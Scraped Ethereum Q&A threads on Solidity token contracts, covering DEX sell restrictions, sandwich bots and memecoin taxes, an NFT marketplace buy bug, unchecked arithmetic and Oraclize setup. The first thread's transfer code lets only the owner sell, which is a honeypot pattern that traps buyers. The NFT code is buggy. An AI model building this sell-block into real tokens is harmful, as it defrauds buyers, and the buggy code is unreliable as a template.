How to prevent token to get sold for certain period of time? - ethereum

Does anybody know how can we prevent a token from being sold in dex? I mean, buyers are able to buy from PCS but only on a certain date be able to start selling the tokens?
I have implemented IERC20, and uniswap interfaces
Also here is my core contract _transfer function:
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
//require(sellingIsEnabled, "Bep20: selling not started yet");
bool isSell = recipient == uniswapV2Pair;
bool isBuy = sender == uniswapV2Pair;
require(!isSell || (sender == owner()));
if (isSell) {
if(sellingIsEnabled)
{
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}else{
swapTokensForEth(0);
}
}
if (isBuy) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return;
}
//super.Transfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
and this is the swap function(i think it has something with selling the token based on uniswap documentation, but I'm not sure):
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETH(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
note:
bool public sellingIsEnabled = true;
but when I make sellingIsEnabled to false , the sell transaction still happens.
how can I prevent token get sold if !sellingIsEnabled ?

Related

How does front runners/sandwich bots avoid "tax" on memecoins?

If an ERC-20 token have "tax" on uniswap transaction hardcoded into them. How does they avoid the deduction of tokens while front running.
transfer logic is as follow:
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(balanceOf(from) >= amount,"Balance less then transfer");
tax = 0;
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 1 ether) {
sendETHToFee(address(this).balance);
}
if (!(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ) {
if(from == uniswapV2Pair){
tax = buyTax;
}
else if(to == uniswapV2Pair){
tax = sellTax;
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap){
if(contractTokenBalance > sThreshold){
swapTokensForEth(contractTokenBalance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
uint256 stContract = amount*tax/100;
uint256 remainingAmount = amount - stContract;
balance[sender] = balance[sender].sub(amount);
balance[recipient] = balance[recipient].add(remainingAmount);
balance[address(this)] = balance[address(this)].add(stContract);
emit Transfer(sender, recipient, remainingAmount);
}
The address is false in "_isExcludedFromFee" array. As a front running bot it bought and sold in the same block with just one transaction in between.
I tried to think of some explanation but sadly couldn't come up with any. Is it anything to do with being on same block? But if that's so should the logic of "_tokentransfer" deduct tokens no matter the case?
amount is getting subbed no matter the path it takes.

My "Buy" function in smart contract file keep making error

This is my solidity file for NFT marketplace.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "#openzeppelin/contracts/token/ERC721/ERC721.sol";
import "#openzeppelin/contracts/access/Ownable.sol";
import "#openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "#openzeppelin/contracts/utils/Counters.sol";
contract NFT is ERC721URIStorage,Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
address payable public _owner;
mapping(address => uint[]) public addressToTokenArray;
mapping(uint256 => bool) public forSale;
mapping(uint256 => uint256) public tokenIdToPrice;
event Minting(address _owner, uint256 _tokenId, uint256 _price);
event Purchase(address _seller, address _buyer, uint256 _price);
event Remove(uint256 _tokenId, uint[] beforeBuy, uint[] afterBuy);
constructor() ERC721("TeddyBear", "TEDDY") {
}
function mint(string memory _tokenURI, uint256 _price) public onlyOwner returns (bool)
{
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
tokenIdToPrice[newItemId] = _price;
if(addressToTokenArray[msg.sender].length !=1){
addressToTokenArray[msg.sender].push(newItemId);
}else{
addressToTokenArray[msg.sender] = [newItemId];
}
_mint(msg.sender, newItemId);
_setTokenURI(newItemId, _tokenURI);
emit Minting(msg.sender, newItemId, _price);
return true;
}
// 토큰의 주인이 판매 하는 함수
function sell(uint256 _tokenId, uint256 _price) external {
require(msg.sender == ownerOf(_tokenId), 'Not owner of this token');
require(_price > 0, 'Price zero');
tokenIdToPrice[_tokenId] = _price;
forSale[_tokenId] = true;
}
// 토큰의 주인이 판매를 취하하는 함수
function stopSell(uint256 _tokenId) external {
require(msg.sender == ownerOf(_tokenId), 'Not owner of this token');
forSale[_tokenId] = false;
}
// function remove(uint[] memory array, uint index) public pure returns(uint[] memory) {
// if (index >= array.length) return array;
// for (uint i = index; i<array.length-1; i++){
// array[i] = array[i+1];
// }
// delete array[array.length-1];
// return array;
// }
function buy(uint256 _tokenId, uint256 sendAmount) external payable {
uint256 price = tokenIdToPrice[_tokenId];
bool isOnSale = forSale[_tokenId];
require(isOnSale, 'This token is not for sale');
require(sendAmount == price, 'Incorrect value');
address seller = ownerOf(_tokenId);
require(seller == ownerOf(_tokenId), 'Seller and Owner is not same');
// uint[] memory beforeBuy = addressToTokenArray[seller];
// // for(uint i=0;i<addressToTokenArray[seller].length;i++){
// // if(_tokenId == addressToTokenArray[seller][i]){
// // remove(addressToTokenArray[seller],i);
// // }
// // }
// uint[] memory afterBuy = addressToTokenArray[seller];
// emit Remove(_tokenId, beforeBuy, afterBuy);
addressToTokenArray[msg.sender] = [_tokenId];
safeTransferFrom(seller, msg.sender, _tokenId);
forSale[_tokenId] = true;
payable(seller).transfer(sendAmount); // send the ETH to the seller
emit Purchase(seller, msg.sender, sendAmount);
}
function getPrice(uint256 _tokenId) public view returns (uint256){
uint256 price = tokenIdToPrice[_tokenId];
return price;
}
function isSale(uint256 _tokenId) public view returns (bool){
bool isOnSale = forSale[_tokenId];
return isOnSale;
}
function getMyTokenId() public view returns (uint[] memory){
uint[] memory myTokens = addressToTokenArray[msg.sender];
return myTokens;
}
}
Among functions up there, the buy function does not emit an error when I compile the .sol file, but after I deploy this contract and send transaction for "buy" function it keeps making this error.
I just want to know where I should fix it and if there is any better idea for other functions, feel free to let me know... many thanks
Most likely it is failing here:
safeTransferFrom(seller, msg.sender, _tokenId);
If you check the ERC721 contract, safeTransferFrom eventually calls this:
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// ****** HERE IS THE ISSUE *****
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
If your contract is going to transfer a token on behalf of owner, owner has to approve first.
so from the seller's contract, this should be called:
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
tokenApprovals is a mapping that keeps track of which tokens can be transferred.
Debugging
in order to test which function call is causing error, place this requirement statement require(sendAmount == price, 'Incorrect value'); right before the function. and pass an incorrect value and you will get an error : 'Incorrect value'
Then put that require statement after the function, and pass a wrong value, if this require does send you error, you can be sure that function is causing the error

What is the benefit of using uncheked?

In OpenZeppelin ERC20 implementation, there is a _transfer method:
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
Why do they use uncheked arithmetic for decreasing the balance? I know that in case of unchecked, 2-3 will return 2**256-1 and not case an exception. But why do we need this?
unchecked produces smaller bytecode compared to regular arthimetic operations, as it doesn't contain the underflow/overflow validation.
So if you want to have a custom error message in case overflow would occur, this code costs less gas to run
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
// no validation here as it's already validated in the `require()` condition
_balances[sender] = senderBalance - amount;
}
compared to this one
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
// redundant validation here
_balances[sender] = senderBalance - amount;
Without the custom message, this would be the cheapest, but still safe, option:
// contains the check and fails without custom message in case of underflow
_balances[sender] -= amount;
And this would be even cheaper compared to the previous one. But it's unsafe as it doesn't check for undeflow:
unchecked {
// UNSAFE, DO NOT USE
_balances[sender] -= amount;
}

What is the purpose of declaring an extra local variable in this OpenZeppelin ERC20 implementation?

From the implementation of ERC20 from Openzeppelin using solidity ^0.8.0, the _transfer function is like this:
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
Is there a special purpose of writing
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
instead of simply
require(_balances[sender]>= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] -= amount;
?
From the pull request comment that contains this commit adding the senderBalance:
The addition of revert messages back into the 0.8 branch (#2491) generated double reading of some storage slot. This PR remove the double sload, which reduces gas costs of running the affected function.
So it's because of lowering gas usage.
"One read from storage and one from memory" cost significantly less gas than "two reads from storage".

Transfer ERC20 token with Oraclize and Metamask

I'm a beginner and I've been exploring ERC20 tokens. Since a couple of days I have been looking for a solution to this, but in vain.
The problem is the following. I am creating a contract, conforming to the ERC20 protocol. I want to add an extra functionality in the form of an oracle query.
I.e., I want to use a service like "Oraclize", to fetch some external data, return the result.
Depending on the result I would like to transfer some tokens or not.
1) The example token contract I've been working with is the following. It s the contract from CryptoPunks
(https://github.com/larvalabs/cryptopunks/blob/master/contracts/CryptoPunksMarket.sol):
pragma solidity ^0.4.18;
contract CryptoTokensMarket {
address owner;
string public standard = 'CryptoTokens';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint public nextTokenIndexToAssign = 0;
bool public allTokensAssigned = false;
uint public tokensRemainingToAssign = 0;
//mapping (address => uint) public addressToTokenIndex;
mapping (uint => address) public tokenIndexToAddress;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
struct Offer {
bool isForSale;
uint tokenIndex;
address seller;
uint minValue; // in ether
address onlySellTo; // specify to sell only to a specific person
}
struct Bid {
bool hasBid;
uint tokenIndex;
address bidder;
uint value;
}
// A record of tokens that are offered for sale at a specific minimum value, and perhaps to a specific person
mapping (uint => Offer) public tokensOfferedForSale;
// A record of the highest token bid
mapping (uint => Bid) public tokenBids;
mapping (address => uint) public pendingWithdrawals;
event Assign(address indexed to, uint256 tokenIndex);
event Transfer(address indexed from, address indexed to, uint256 value);
event TokenTransfer(address indexed from, address indexed to, uint256 tokenIndex);
event TokenOffered(uint indexed tokenIndex, uint minValue, address indexed toAddress);
event TokenBidEntered(uint indexed tokenIndex, uint value, address indexed fromAddress);
event TokenBidWithdrawn(uint indexed tokenIndex, uint value, address indexed fromAddress);
event TokenBought(uint indexed tokenIndex, uint value, address indexed fromAddress, address indexed toAddress);
event TokenNoLongerForSale(uint indexed tokenIndex);
/* Initializes contract with initial supply tokens to the creator of the contract */
function CryptoTokensMarket() payable {
// balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens
owner = msg.sender;
totalSupply = 10000; // Update total supply
tokensRemainingToAssign = totalSupply;
name = "CRYPTOTokenS"; // Set the name for display purposes
symbol = "Ͼ"; // Set the symbol for display purposes
decimals = 0; // Amount of decimals for display purposes
}
function setInitialOwner(address to, uint tokenIndex) {
if (msg.sender != owner) revert();
if (allTokensAssigned) revert();
if (tokenIndex >= 10000) revert();
if (tokenIndexToAddress[tokenIndex] != to) {
if (tokenIndexToAddress[tokenIndex] != 0x0) {
balanceOf[tokenIndexToAddress[tokenIndex]]--;
} else {
tokensRemainingToAssign--;
}
tokenIndexToAddress[tokenIndex] = to;
balanceOf[to]++;
Assign(to, tokenIndex);
}
}
function setInitialOwners(address[] addresses, uint[] indices) {
if (msg.sender != owner) revert();
uint n = addresses.length;
for (uint i = 0; i < n; i++) {
setInitialOwner(addresses[i], indices[i]);
}
}
function allInitialOwnersAssigned() {
if (msg.sender != owner) revert();
allTokensAssigned = true;
}
function getToken(uint tokenIndex) {
if (!allTokensAssigned) revert();
if (tokensRemainingToAssign == 0) revert();
if (tokenIndexToAddress[tokenIndex] != 0x0) revert();
if (tokenIndex >= 10000) revert();
tokenIndexToAddress[tokenIndex] = msg.sender;
balanceOf[msg.sender]++;
tokensRemainingToAssign--;
Assign(msg.sender, tokenIndex);
}
// Transfer ownership of a token to another user without requiring payment
function transferToken(address to, uint tokenIndex) payable {
if (!allTokensAssigned) revert();
if (tokenIndexToAddress[tokenIndex] != msg.sender) revert();
if (tokenIndex >= 10000) revert();
if (tokensOfferedForSale[tokenIndex].isForSale) {
tokenNoLongerForSale(tokenIndex);
}
tokenIndexToAddress[tokenIndex] = to;
balanceOf[msg.sender]--;
balanceOf[to]++;
Transfer(msg.sender, to, 1);
TokenTransfer(msg.sender, to, tokenIndex);
// Check for the case where there is a bid from the new owner and refund it.
// Any other bid can stay in place.
Bid bid = tokenBids[tokenIndex];
if (bid.bidder == to) {
// Kill bid and refund value
pendingWithdrawals[to] += bid.value;
tokenBids[tokenIndex] = Bid(false, tokenIndex, 0x0, 0);
}
}
function tokenNoLongerForSale(uint tokenIndex) {
if (!allTokensAssigned) revert();
if (tokenIndexToAddress[tokenIndex] != msg.sender) revert();
if (tokenIndex >= 10000) revert();
tokensOfferedForSale[tokenIndex] = Offer(false, tokenIndex, msg.sender, 0, 0x0);
TokenNoLongerForSale(tokenIndex);
}
function offerTokenForSale(uint tokenIndex, uint minSalePriceInWei) {
if (!allTokensAssigned) revert();
if (tokenIndexToAddress[tokenIndex] != msg.sender) revert();
if (tokenIndex >= 10000) revert();
tokensOfferedForSale[tokenIndex] = Offer(true, tokenIndex, msg.sender, minSalePriceInWei, 0x0);
TokenOffered(tokenIndex, minSalePriceInWei, 0x0);
}
function offerTokenForSaleToAddress(uint tokenIndex, uint minSalePriceInWei, address toAddress) {
if (!allTokensAssigned) revert();
if (tokenIndexToAddress[tokenIndex] != msg.sender) revert();
if (tokenIndex >= 10000) revert();
tokensOfferedForSale[tokenIndex] = Offer(true, tokenIndex, msg.sender, minSalePriceInWei, toAddress);
TokenOffered(tokenIndex, minSalePriceInWei, toAddress);
}
function buyToken(uint tokenIndex) payable {
if (!allTokensAssigned) revert();
Offer offer = tokensOfferedForSale[tokenIndex];
if (tokenIndex >= 10000) revert();
if (!offer.isForSale) revert(); // token not actually for sale
if (offer.onlySellTo != 0x0 && offer.onlySellTo != msg.sender) revert(); // token not supposed to be sold to this user
if (msg.value < offer.minValue) revert(); // Didn't send enough ETH
if (offer.seller != tokenIndexToAddress[tokenIndex]) revert(); // Seller no longer owner of token
address seller = offer.seller;
tokenIndexToAddress[tokenIndex] = msg.sender;
balanceOf[seller]--;
balanceOf[msg.sender]++;
Transfer(seller, msg.sender, 1);
tokenNoLongerForSale(tokenIndex);
pendingWithdrawals[seller] += msg.value;
TokenBought(tokenIndex, msg.value, seller, msg.sender);
// Check for the case where there is a bid from the new owner and refund it.
// Any other bid can stay in place.
Bid bid = tokenBids[tokenIndex];
if (bid.bidder == msg.sender) {
// Kill bid and refund value
pendingWithdrawals[msg.sender] += bid.value;
tokenBids[tokenIndex] = Bid(false, tokenIndex, 0x0, 0);
}
}
function withdraw() payable {
if (!allTokensAssigned) revert();
uint amount = pendingWithdrawals[msg.sender];
// Remember to zero the pending refund before
// sending to prevent re-entrancy attacks
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
function enterBidForToken(uint tokenIndex) payable {
if (tokenIndex >= 10000) revert();
if (!allTokensAssigned) revert();
if (tokenIndexToAddress[tokenIndex] == 0x0) revert();
if (tokenIndexToAddress[tokenIndex] == msg.sender) revert();
if (msg.value == 0) revert();
Bid existing = tokenBids[tokenIndex];
if (msg.value <= existing.value) revert();
if (existing.value > 0) {
// Refund the failing bid
pendingWithdrawals[existing.bidder] += existing.value;
}
tokenBids[tokenIndex] = Bid(true, tokenIndex, msg.sender, msg.value);
TokenBidEntered(tokenIndex, msg.value, msg.sender);
}
function acceptBidForToken(uint tokenIndex, uint minPrice) {
if (tokenIndex >= 10000) revert();
if (!allTokensAssigned) revert();
if (tokenIndexToAddress[tokenIndex] != msg.sender) revert();
address seller = msg.sender;
Bid bid = tokenBids[tokenIndex];
if (bid.value == 0) revert();
if (bid.value < minPrice) revert();
tokenIndexToAddress[tokenIndex] = bid.bidder;
balanceOf[seller]--;
balanceOf[bid.bidder]++;
Transfer(seller, bid.bidder, 1);
tokensOfferedForSale[tokenIndex] = Offer(false, tokenIndex, bid.bidder, 0, 0x0);
uint amount = bid.value;
tokenBids[tokenIndex] = Bid(false, tokenIndex, 0x0, 0);
pendingWithdrawals[seller] += amount;
TokenBought(tokenIndex, bid.value, seller, bid.bidder);
}
function withdrawBidForToken(uint tokenIndex) {
if (tokenIndex >= 10000) revert();
if (!allTokensAssigned) revert();
if (tokenIndexToAddress[tokenIndex] == 0x0) revert();
if (tokenIndexToAddress[tokenIndex] == msg.sender) revert();
Bid bid = tokenBids[tokenIndex];
if (bid.bidder != msg.sender) revert();
TokenBidWithdrawn(tokenIndex, bid.value, msg.sender);
uint amount = bid.value;
tokenBids[tokenIndex] = Bid(false, tokenIndex, 0x0, 0);
// Refund the bid money
msg.sender.transfer(amount);
}
}
2) Following the creation, I would like to fetch some data from Oraclize, and depending on the forex USD/GBP rate transfer a token or not.
The following code is from the Oraclize example contract:
import "github.com/oraclize/ethereum-api/oraclizeAPI.sol";
contract ExampleContract is usingOraclize {
string public EURGBP;
string public value = "0.88086";
event LogPriceUpdated(string price);
event LogNewOraclizeQuery(string description);
function ExampleContract() payable public{
updatePrice();
}
function __callback(bytes32 myid, string result) public {
if (msg.sender != oraclize_cbAddress()) revert();
EURGBP = result;
if (keccak256(result) != keccak256(value)) {
LogPriceUpdated(value);
}
else {
LogPriceUpdated(result);
}
}
function updatePrice() payable public{
if (oraclize_getPrice("URL") > this.balance) {
LogNewOraclizeQuery("Oraclize query was NOT sent, please add some ETH to cover for the query fee");
} else {
LogNewOraclizeQuery("Oraclize query was sent, standing by for the answer..");
oraclize_query("URL", "json(http://api.fixer.io/latest?symbols=USD,GBP).rates.GBP");
}
}
}
Based on my understanding, I could make the main token contract inherit from the oracle contract. And the main contract should inherit all the functions from the oracle token contract.
Oraclize is a paid service, so I should make the updatePrice() always payable, and put something like 1 ether on the upper right side of Remix IDE.
Problems are double:
a) In the Official Remix IDE (JS VM), while the token contract executes, the Oraclize contract fails with "reverting the contract to initial state" message. Is it related to Oracle being paid? Because I always put like 1 ether in the top right side of the IDE. But I don´t know how to address this exactly.
b) In the Remix fork that Oraclize has (https://dapps.oraclize.it/browser-solidity/) using JS VM too, it will execute the query but it fails executing the token, with an "Invalid op code" message for the "calls". So I can't even get the token symbol.
Questions:
1) Also, besides the IDE issues, my doubt resides, in how should I proceed in giving a token on the condition that for example the USD/GBP value is X.
I assume that I should use the getToken() function in the main contract, check if the exchange rate is x, and assign the token? How I could do this effectively?
2) Should I use one of the events implemented in the main token contract, or it has got nothing to do with it?
I'm not sure if I can address you design questions as it seems more like a business problem than a coding/design issue (or I may not be understanding the question). If getToken is your point of sale and you want to reject any requests when the exchange rate is too low, then just make that a condition you check with a require statement. However, I will note that from the technical standpoint, you can't read events in a Solidity contract. You can only listen for them in a client which will receive the event(s) when the transaction is successfully mined.
I can, however, address your IDE issues. The reason for the failures is oraclizeAPI is dependent on already deployed contracts. They have a modifier which sets up the internal network of the contract depending on which environment it's running:
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
When you run your example contract in JS VM (which is it's own sandbox), it doesn't have access to those contracts and the call fails. It works if you switch environments to Ropsten/Rinkeby and connect through MetaMask.